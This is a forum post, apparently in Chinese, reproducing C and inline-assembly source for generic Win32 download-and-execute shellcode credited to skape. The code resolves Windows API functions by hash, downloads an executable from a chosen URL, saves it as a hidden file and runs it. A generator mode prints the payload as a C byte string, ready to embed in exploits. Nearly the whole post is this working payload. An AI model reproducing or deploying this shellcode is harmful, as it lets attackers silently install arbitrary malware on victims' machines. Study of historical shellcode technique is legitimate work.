发新话题
打印

Generic download/execute shellcode for win32

Generic download/execute shellcode for win32

文章作者:mmiller@hick.org
复制内容到剪贴板
代码:
/*
* Generic download/execute shellcode for win32.
*
* Overview
*
*   Download an executable from a URL and execute it.
*
* Targets
*
*   95/98/ME/NT/2K/XP
*
* Usage
*
*   $ download.exe
*   Usage: download.exe [test | cstyle] [url]
*   
*   To generate usable code:
*
*   $ download.exe cstyle [url]http://www.mysite.com/joe.exe[/url]
*
*   The 'test' option will download a harmless executable
*   from '[url]http://www.hick.org/~mmiller/bob.exe[/url]' and run it.
*
* Notes
*
*   1) URL's must start with a protocol (like http).
*   2) The code must run on an writable segment due to one of the symbol
*     hashes having a NULL.
*
* Disclaimer
*
*   The author cannot be held responsible for how this code is used.
*
* Compile
*
*   Optional defines
*
*     /DUSE_KERNEL32_METHOD_PEB     Resolve kernel32 using the PEB technique.
*     /DUSE_KERNEL32_METHOD_SEH     Resolve kernel32 using the SEH technique.
*     /DUSE_KERNEL32_METHOD_TOPSTACK  Resolve kernel32 using the TOPSTACK technique.
*
*   cl download.c /link /debug
*
* skape
* [email]mmiller@hick.org[/email]
*/
#include <stdio.h>

#pragma warning(disable: 4068)

#define EMIT_4_LITTLE_ENDIAN(a,b,c,d) __asm _emit a __asm _emit b __asm _emit c __asm _emit d

void __declspec(naked) download_begin()
{
  __asm
  {
    download:
      jmp  initialize_url_bnc_1            // Jump to the first bounce point

#include "generic.c"

    initialize_url_bnc_1:
      jmp  initialize_url_bnc_2            // Jump to the second bounce point

    resolve_symbols_for_dll:
      lodsd                         // Load the current dword from esi into eax
      push eax                       // Push the hash as the second argument to find_function
      push edx                       // Push the base address of the current dll being loaded from
      call find_function                // Call find_function
      mov  [edi], eax                  // Store the return address in the current output buffer pointer
      add  esp, 0x08                   // Restore eight bytes to the stack.
      add  edi, 0x04                   // Add 4 bytes to the output buffer to move to the next slot
      cmp  esi, ecx                    // Have we reached the end?
      jne  resolve_symbols_for_dll          // If not, continue loading
    resolve_symbols_for_dll_finished:
      ret                          // Return to the caller

    kernel32_symbol_hashes:
      EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec) // LoadLibraryA    0x04
      EMIT_4_LITTLE_ENDIAN(0xa5,0x17,0x01,0x7c) // CreateFile     0x08  0x01 -> 0x00
      EMIT_4_LITTLE_ENDIAN(0x1f,0x79,0x0a,0xe8) // WriteFile      0x0c
      EMIT_4_LITTLE_ENDIAN(0xfb,0x97,0xfd,0x0f) // CloseHandle    0x10
      EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16) // CreateProcessA  0x14
      EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) // ExitProcess    0x18
    wininet_symbol_hashes:
      EMIT_4_LITTLE_ENDIAN(0x29,0x44,0xe8,0x57) // InternetOpenA   0x1c
      EMIT_4_LITTLE_ENDIAN(0x49,0xed,0x0f,0x7e) // InternetOpenUrlA 0x20
      EMIT_4_LITTLE_ENDIAN(0x8b,0x4b,0xe3,0x5f) // InternetReadFile 0x24

    startup:
      pop  esi                       // Grab the address of the download url from the stack
      sub  esp, 0x7c                   // Give us some room to work.
      mov  ebp, esp                     // Use ebp as our frame pointer.

      call find_kernel32                // Find the base address of kernel32.dll
      mov  edx, eax                    // Save it in edx

      jmp  get_absolute_address_forward      // Jump forward past the middle
    get_absolute_address_middle:
      jmp  get_absolute_address_end         // Jump to the end now that we have our VMA on the stack
    get_absolute_address_forward:
      call get_absolute_address_middle       // Call to the middle to push the VMA of &#39;pop eax&#39; onto the stack
    get_absolute_address_end:
      pop  eax                       // Pop the return address from the stack into eax

      jmp  initialize_url_bnc_2_skip        // Jump over the second bounce point
    initialize_url_bnc_2:
      jmp  initialize_url_bnc_3            // Jump to bounce point 3
    initialize_url_bnc_2_skip:

    copy_download_url:
      lea  edi, [ebp + 0x40]              // Set edi to the destination that will hold the URL
    copy_download_url_loop:
      movsb                         // Copy the current byte of the URL to the stack
      cmp  byte ptr [esi - 0x01], 0xff       // Have we hit 0xff yet?
      jne  copy_download_url_loop          // Nope...keep going
    copy_download_url_finished:
      dec  edi                       // Decrement edi to point to the last byte
      not  byte ptr [edi]                // Invert the bits to point null terminate the string

    resolve_kernel32_symbols:
      mov  esi, eax                    // Set esi to the absolute VMA of &#39;pop eax&#39;
      sub  esi, 0x3a                   // Subtract 0x3a to offset to the start of the hashes
      dec  [esi + 0x06]                 // Fix the CreateFile hash to have a null (Note: requires writable segment)
      lea  edi, [ebp + 0x04]              // Load the effective address of the output buffer to hold the VMA&#39;s of the functions
      mov  ecx, esi                    // Set ecx to the start of the hashes
      add  ecx, 0x18                   // Add 0x18 to signify the end point
      call resolve_symbols_for_dll          // Resolve the kernel32.dll symbols

    resolve_wininet_symbols:
      add  ecx, 0x0c                   // Add 0x0c to ecx to signify the end of the wininet.dll symbol hashes
      mov  eax, 0x74656e01               // Set eax to &#39;\0x01net&#39;
      sar  eax, 0x08                   // Shift eax to the right 8 bits to add a null term
      push eax                       // Push &#39;net&#39;
      push 0x696e6977                  // Push &#39;wini&#39;
      mov  ebx, esp                    // Save the pointer to &#39;wininet&#39; in ebx
      push ecx                       // Preserve ecx as it may be clobbered
      push edx                       // Preserve edx as it may be clobbered
      push ebx                       // Push the pointer to &#39;wininet&#39;
      call [ebp + 0x04]                 // Call LoadLibraryA
      pop  edx                       // Restore edx
      pop  ecx                       // Restore ecx
      mov  edx, eax                    // Set edx to the base address of wininet.dll
      call resolve_symbols_for_dll          // Resolve the symbols for wininet.dll

    internet_open:
      xor  eax, eax                    // Zero eax
      push eax                       // Flags
      push eax                       // Proxy bypass
      push eax                       // Proxy name
      push eax                       // Access type
      push eax                       // Agent name
      call [ebp + 0x1c]                 // Call InternetOpenA
      mov  [ebp + 0x34], eax              // Save the handle

    internet_open_url:
      xor  eax, eax                    // Zero eax
      push eax                       // Context
      push eax                       // Flags
      push eax                       // Headers length
      push eax                       // Headers
      lea  ebx, [ebp + 0x40]              // Load the url address
      push ebx                       // Url
      push [ebp + 0x34]                 // InternetOpen handle
      call [ebp + 0x20]                 // Call InternetOpenUrlA
      mov  [ebp + 0x38], eax              // Save the handle

      jmp  initialize_url_bnc_3_skip        // Jump past the 3rd bounce point
    initialize_url_bnc_3:
      jmp  initialize_url_bnc_4            // Jump past the 4th bounce point
    initialize_url_bnc_3_skip:

    create_file:
      xor  eax, eax                    // Zero eax
      mov  al, 0x65                    // Set the low order byte of eax to &#39;e&#39;
      push eax                       // Push &#39;e&#39;
      push 0x78652e61                  // Push &#39;a.ex&#39;
      mov  [ebp + 0x30], esp              // Save the address of &#39;a.exe&#39;

      xor  eax, eax                    // Zero eax
      push eax                       // Template
      mov  al, 0x82                    // Set the flags to (FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_HIDDEN)
      push eax                       // Flags
      mov  al, 0x02                   // Set the disposition to CREATE_ALWAYS
      push eax                       // Disposition
      xor  al, al                     // Zero al
      push eax                       // Security attributes
      push eax                       // Share mode
      mov  al, 0x40                    // Set al to 0x40
      sal  eax, 0x18                   // Shift to the left 18 bits
      push eax                       // Desired access (GENERIC_WRITE)
      push [ebp + 0x30]                 // File name
      call [ebp + 0x08]                 // Call CreateFileA
      mov  [ebp + 0x3c], eax              // Save the file handle

    download_begin:
      xor  eax, eax                    // Zero eax
      mov  ax, 0x010c                  // Set eax to 268
      sub  esp, eax                    // Allocate 268 bytes of stackspace
      mov  esi, esp                    // We&#39;ll use esi to track this frame
    download_loop:
      lea  ebx, [esi + 0x04]              // Load the address of our spot to holde bytes read into eax
      push ebx                       // Push our bytes read pointer
      mov  ax, 0x0104                  // Set eax to 260
      push eax                       // We desire to read 260 bytes
      lea  eax, [esi + 0x08]              // Load the address of our buffer to hold data in
      push eax                       // Buffer
      push [ebp + 0x38]                 // Handle from InternetOpenUrlA
      call [ebp + 0x24]                 // Call InternetReadFile
      mov  eax, [esi + 0x04]              // Grab the number of bytes we read
      test eax, eax                    // We&#39;re testing to see if it&#39;s zero..
      jz  download_finished              // If the ZF is set, we&#39;re done.
    download_write_file:
      xor  eax, eax                    // Zero eax
      push eax                       // Overlapped
      lea  eax, [esi + 0x04]              // Load the address of our bytes written pointer
      push eax                       // Bytes written pointer
      push [esi + 0x04]                 // Bytes to write
      lea  eax, [esi + 0x08]              // Load the address of the buffer we just read data into
      push eax                       // Buffer
      push [ebp + 0x3c]                 // File handle
      call [ebp + 0x0c]                 // Call WriteFile
      jmp  download_loop                // Keep downloading
    download_finished:
      push [ebp + 0x3c]                 // File handle
      call [ebp + 0x10]                 // Call CloseHandle
      xor  eax, eax                    // Zero eax
      mov  ax, 0x010c                  // Set eax to 268
      add  esp, eax                    // Restore the stack   
  
      jmp  initialize_url_bnc_4_skip        // Jump past bounce point 4
    initialize_url_bnc_4:
      jmp  initialize_url_bnc_end          // Jump to the last bouncepoint
    initialize_url_bnc_4_skip:

    initialize_process:
      xor  ecx, ecx                    // Zero ecx
      mov  cl, 0x54                    // Set ecx to 0x54
      sub  esp, ecx                    // Make room for STARTUPINFO(0x44)/PROCESS_INFORMATION(0x10)
      mov  edi, esp                    // Preserve in edi
    zero_structs:
      xor  eax, eax                    // We want to store 0
      rep  stosb                      // Repeat storing zero until ecx is 0
    initialize_structs:
      mov  edi, esp                    // Restore edi
      mov  byte ptr [edi], 0x44            // Set cb to 0x44

    execute_process:      
      lea  esi, [edi + 0x44]              // Load the address of our PROCESS_INFORMATION starting point
      
      push esi                       // PROCESS_INFORMATION
      push edi                       // STARTUPINFO
      push eax                       // Startup Directory
      push eax                       // Environment
      push eax                       // Creation flags
      push eax                       // Inherit handles
      push eax                       // Thread attributes
      push eax                       // Process attributes
      push [ebp + 0x30]                 // Command line
      push eax                       // Module name
      call [ebp + 0x14]                 // Call CreateProcess

    exit_process:
      call [ebp + 0x18]                 // Call ExitProcess

    initialize_url_bnc_end:
      call startup                    // Call startup, pushing the pointer to the URL onto the stack
  }
}

void __declspec(naked) download_end()
{
  // [url]http://www.hick.org/~mmiller/bob.exe[/url]
  __asm
  {
    __emit 0x68
    __emit 0x74
    __emit 0x74
    __emit 0x70
    __emit 0x3a
    __emit 0x2f
    __emit 0x2f
    __emit 0x77
    __emit 0x77
    __emit 0x77
    __emit 0x2e
    __emit 0x68
    __emit 0x69
    __emit 0x63
    __emit 0x6b
    __emit 0x2e
    __emit 0x6f
    __emit 0x72
    __emit 0x67
    __emit 0x2f
    __emit 0x7e
    __emit 0x6d
    __emit 0x6d
    __emit 0x69
    __emit 0x6c
    __emit 0x6c
    __emit 0x65
    __emit 0x72
    __emit 0x2f
    __emit 0x62
    __emit 0x6f
    __emit 0x62
    __emit 0x2e
    __emit 0x65
    __emit 0x78
    __emit 0x65
    __emit 0xff
  }
}

void __declspec(naked) download_end_end()
{
  __asm ret
}

int main(int argc, char **argv)
{
  if (argc == 1)
  {
    fprintf(stdout, "Usage: %s [test | cstyle] [url]\n", argv[0]);
    return 0;
  }

  if (!strcmp(argv[1], "test"))
  {
    unsigned char *start = (unsigned char *)((unsigned char *)download_begin);
    unsigned char *stop  = (unsigned char *)((unsigned char *)download_end_end);
    unsigned char *buf;
    unsigned long length;

    start += *(unsigned long *)((unsigned char *)download_begin + 1) + 5;
    stop  += *(unsigned long *)((unsigned char *)download_end_end + 1) + 5;
    length = stop - start;

    buf = (unsigned char *)malloc(length);

    if (!buf)
      return 0;

    memcpy(buf, start, length);

    ((void (*)())buf)();
  }
  else if (!strcmp(argv[1], "cstyle"))
  {
    unsigned long urlLength  = ((argc == 3) ? strlen(argv[2]) : 0);
    unsigned char *start    = (unsigned char *)((unsigned char *)download_begin);
    unsigned char *stop    = (unsigned char *)((unsigned char *)download_end);
    unsigned char *stopNoUrl = (unsigned char *)((unsigned char *)download_end_end);
    unsigned char *c      = NULL;
    unsigned long x       = 0, length;

    // Calculate the actual address in memory of the begin/end function based off their relative jmp points.
    start    += *(unsigned long *)((unsigned char *)download_begin + 1) + 5;
    stop    += *(unsigned long *)((unsigned char *)download_end + 1) + 5;
    stopNoUrl += *(unsigned long *)((unsigned char *)download_end_end + 1) + 5;
    length    = stop - start;

    // Include the default url if none was supplied
    if (!urlLength)  
      length += stopNoUrl - stop;

    fprintf(stdout, "// %lu byte download/execute shellcode\n\n", length + urlLength + 1);
    fprintf(stdout, "unsigned char download[] = \"");

    for (c = start;
        x < length;
        x++)
      fprintf(stdout, "\\x%2.2x", c[x]);

    if (urlLength)
    {
      for (x = 0;
          x < urlLength;
          x++)
        fprintf(stdout, "\\x%2.2x", argv[2][x]);

      fprintf(stdout, "\\xff");  
    }

    fprintf(stdout, "\";\n\n");
  }
  else
    fprintf(stdout, "%s: invalid option\n", argv[0]);

  return 1;
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题